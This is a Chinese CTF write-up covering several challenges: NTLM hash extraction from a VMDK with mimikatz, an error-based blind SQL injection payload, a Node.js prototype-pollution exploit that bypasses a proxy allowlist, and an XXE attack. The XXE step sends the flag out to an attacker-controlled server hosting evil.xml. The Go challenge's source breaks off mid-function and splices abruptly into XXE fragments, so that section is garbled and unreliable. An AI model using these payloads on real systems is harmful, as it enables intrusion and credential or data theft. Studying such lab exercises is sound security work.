问它你原本的任务是啥?

开局拿到一个vmdk文件,要找密码,用7z打开到如下位置

然后取出system和SAM用于提取哈希,丢到mimikatz中去看看ntlm:

最后上cmd5来解密
在上一题的桌面上有个图片

然后使用VeraCrypt解密就出了

看报文报错盲注,flag就是密码:
核心代码
/search.php?id=1-(ascii(substr((Select(reverse(group_concat(password)))From(F1naI1y)),44,1))%3E63)
如果说上面这串表达式为真,那么id=0,这就会触发报错。

反之如果表达式不同意则会正常显示内容。
于是就可以挨个推断出flag字符串的每一个ascii值,最后转成字符后反转就出了。
PS:不要用gpt做任何数学相关的题目,可以使用赛博厨子,被坑惨了
开局源码如下:
- const express = require("express");
- const axios = require("axios");
- const bodyParser = require("body-parser");
- const path = require("path");
- const fs = require("fs");
- const { v4: uuidv4 } = require("uuid");
- const session = require("express-session");
-
- const app = express();
- const port = 3000;
- const session_name = "my-webvpn-session-id-" + uuidv4().toString();
-
- app.set("view engine", "pug");
- app.set("trust proxy", false);
- app.use(express.static(path.join(__dirname, "public")));
- app.use(
- session({
- name: session_name,
- secret: uuidv4().toString(),
- secure: false,
- resave: false,
- saveUninitialized: true,
- })
- );
- app.use(bodyParser.json());
- var userStorage = {
- username: {
- password: "password",
- info: {
- age: 18,
- },
- strategy: {
- "baidu.com": true,
- "google.com": false,
- },
- },
- };
-
- function update(dst, src) {
- for (key in src) {
- if (key.indexOf("__") != -1) {
- continue;
- }
- if (typeof src[key] == "object" && dst[key] !== undefined) {
- update(dst[key], src[key]);
- continue;
- }
- dst[key] = src[key];
- }
- }
- app.use("/proxy", async (req, res) => {
- const { username } = req.session;
- if (!username) {
- res.sendStatus(403);
- }
- let url = (() => {
- try {
- return new URL(req.query.url);
- } catch {
- res.status(400);
- res.end("invalid url.");
- return undefined;
- }
- })();
-
- if (!url) return;
-
- if (!userStorage[username].strategy[url.hostname]) {
- res.status(400);
- res.end("your url is not allowed.");
- }
- try {
- const headers = req.headers;
- headers.host = url.host;
- headers.cookie = headers.cookie.split(";").forEach((cookie) => {
- var filtered_cookie = "";
- const [key, value] = cookie.split("=", 1);
- if (key.trim() !== session_name) {
- filtered_cookie += `${key}=${value};`;
- }
- return filtered_cookie;
- });
- const remote_res = await (() => {
- if (req.method == "POST") {
- return axios.post(url, req.body, {
- headers: headers,
- });
- } else if (req.method == "GET") {
- return axios.get(url, {
- headers: headers,
- });
- } else {
- res.status(405);
- res.end("method not allowed.");
- return;
- }
- })();
- res.status(remote_res.status);
- res.header(remote_res.headers);
- res.write(remote_res.data);
- } catch (e) {
- res.status(500);
- res.end("unreachable url.");
- }
- });
-
- app.post("/user/login", (req, res) => {
- const { username, password } = req.body;
- if (
- typeof username != "string" ||
- typeof password != "string" ||
- !username ||
- !password
- ) {
- res.status(400);
- res.end("invalid username or password");
- return;
- }
- if (!userStorage[username]) {
- res.status(403);
- res.end("invalid username or password");
- return;
- }
- if (userStorage[username].password !== password) {
- res.status(403);
- res.end("invalid username or password");
- return;
- }
- req.session.username = username;
- res.send("login success");
- });
-
- // under development
- app.post("/user/info", (req, res) => {
- if (!req.session.username) {
- res.sendStatus(403);
- }
- update(userStorage[req.session.username].info, req.body);
- res.sendStatus(200);
- });
-
- app.get("/home", (req, res) => {
- if (!req.session.username) {
- res.sendStatus(403);
- return;
- }
- res.render("home", {
- username: req.session.username,
- strategy: ((list)=>{
- var result = [];
- for (var key in list) {
- result.push({host: key, allow: list[key]});
- }
- return result;
- })(userStorage[req.session.username].strategy),
- });
- });
-
- // demo service behind webvpn
- app.get("/flag", (req, res) => {
- if (
- req.headers.host != "127.0.0.1:3000" ||
- req.hostname != "127.0.0.1" ||
- req.ip != "127.0.0.1"
- ) {
- res.sendStatus(400);
- return;
- }
- const data = fs.readFileSync("/flag");
- res.send(data);
- });
-
- app.listen(port, '0.0.0.0', () => {
- console.log(`app listen on ${port}`);
- });
发现这里的update函数可能存在原型链污染(赋值),但是这里过滤了__
- function update(dst, src) {
- for (key in src) {
- if (key.indexOf("__") != -1) {
- continue;
- }
- if (typeof src[key] == "object" && dst[key] !== undefined) {
- update(dst[key], src[key]);
- continue;
- }
- dst[key] = src[key];
- }
- }
- //...
- app.post("/user/info", (req, res) => {
- if (!req.session.username) {
- res.sendStatus(403);
- }
- update(userStorage[req.session.username].info, req.body);
- res.sendStatus(200);
- });
不能用__proto__也可以用prototype构造payload
再看过滤规则:
- if (!userStorage[username].strategy[url.hostname]) {
- res.status(400);
- res.end("your url is not allowed.");
- }
- //...
- app.get("/flag", (req, res) => {
- if (
- req.headers.host != "127.0.0.1:3000" ||
- req.hostname != "127.0.0.1" ||
- req.ip != "127.0.0.1"
- ) {
- res.sendStatus(400);
- return;
- }
- const data = fs.readFileSync("/flag");
- res.send(data);
- });
结合/proxy部分的代码,就是要利用自己来访问127.0.0.1:3000/flag,这就需要污染userStorage[username].strategy,浅浅构造一个payload
{"constructor":{"prototype":{"strategy":{"127.0.0.1:3000/flag":"true"}}}}


改改:
{"constructor":{"prototype":{"127.0.0.1":{"127.0.0.1:3000/flag":"true"}}}}
如果直接点击链接的话就会访问
/proxy?url=http://127.0.0.1
回显unreachable
要手动补齐/proxy?url=http://127.0.0.1:3000/flag
就能正常访问了
一道值得细细评鉴的go史
先看route.go
- package routes
-
- import (
- "fmt"
- "html/template"
- "net/http"
- "os"
- "os/signal"
- "path/filepath"
- "zero-link/internal/config"
- "zero-link/internal/controller/auth"
- "zero-link/internal/controller/file"
- "zero-link/internal/controller/ping"
- "zero-link/internal/controller/user"
- "zero-link/internal/middleware"
- "zero-link/internal/views"
-
- "github.com/gin-contrib/sessions"
- "github.com/gin-contrib/sessions/cookie"
- "github.com/gin-gonic/gin"
- )
-
- func Run() {
- r := gin.Default()
-
- html := template.Must(template.New("").ParseFS(views.FS, "*"))
- r.SetHTMLTemplate(html)
-
- secret := config.Secret.SessionSecret
- store := cookie.NewStore([]byte(secret))
- r.Use(sessions.Sessions("session", store))
-
- api := r.Group("/api")
- {
- api.GET("/ping", ping.Ping)
- api.POST("/user", user.GetUserInfo)
- api.POST("/login", auth.AdminLogin)
-
- apiAuth := api.Group("")
- apiAuth.Use(middleware.Auth())
- {
- apiAuth.POST("/upload", file.UploadFile)
- apiAuth.GET("/unzip", file.UnzipPackage)
- apiAuth.GET("/secret", file.ReadSecretFile)
- }
- }
- frontend := r.Group("/")
- {
- frontend.GET("/", func(c *gin.Context) {
- c.HTML(http.StatusOK, "index.html", nil)
- })
- frontend.GET("/login", func(c *gin.Context) {
- c.HTML(http.StatusOK, "login.html", nil)
- })
-
- frontendAuth := frontend.Group("")
- frontendAuth.Use(middleware.Auth())
- {
- frontendAuth.GET("/manager", func(c *gin.Context) {
- c.HTML(http.StatusOK, "manager.html", nil)
- })
- }
- }
- quit := make(chan os.Signal)
- signal.Notify(quit, os.Interrupt)
-
- go func() {
- %dtd; %all;
- ]>
- &send;
转utf-16
cat utf8exploit.xml | iconv -f UTF-8 -t UTF-16BE > utf16exploit.xml
准备evil.xml
all "">
然后开启http服务发evil.xml
python -m http.sever 80
传http://139.224.232.162:30148/backdoor?fname=../../8.134.221.106/utf16exploit
就可以收到flag了

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
免费领取安全学习资料包!

渗透工具
技术文档、书籍


面试题

帮助你在面试中脱颖而出
视频
基础到进阶
环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等



应急响应笔记

学习路线
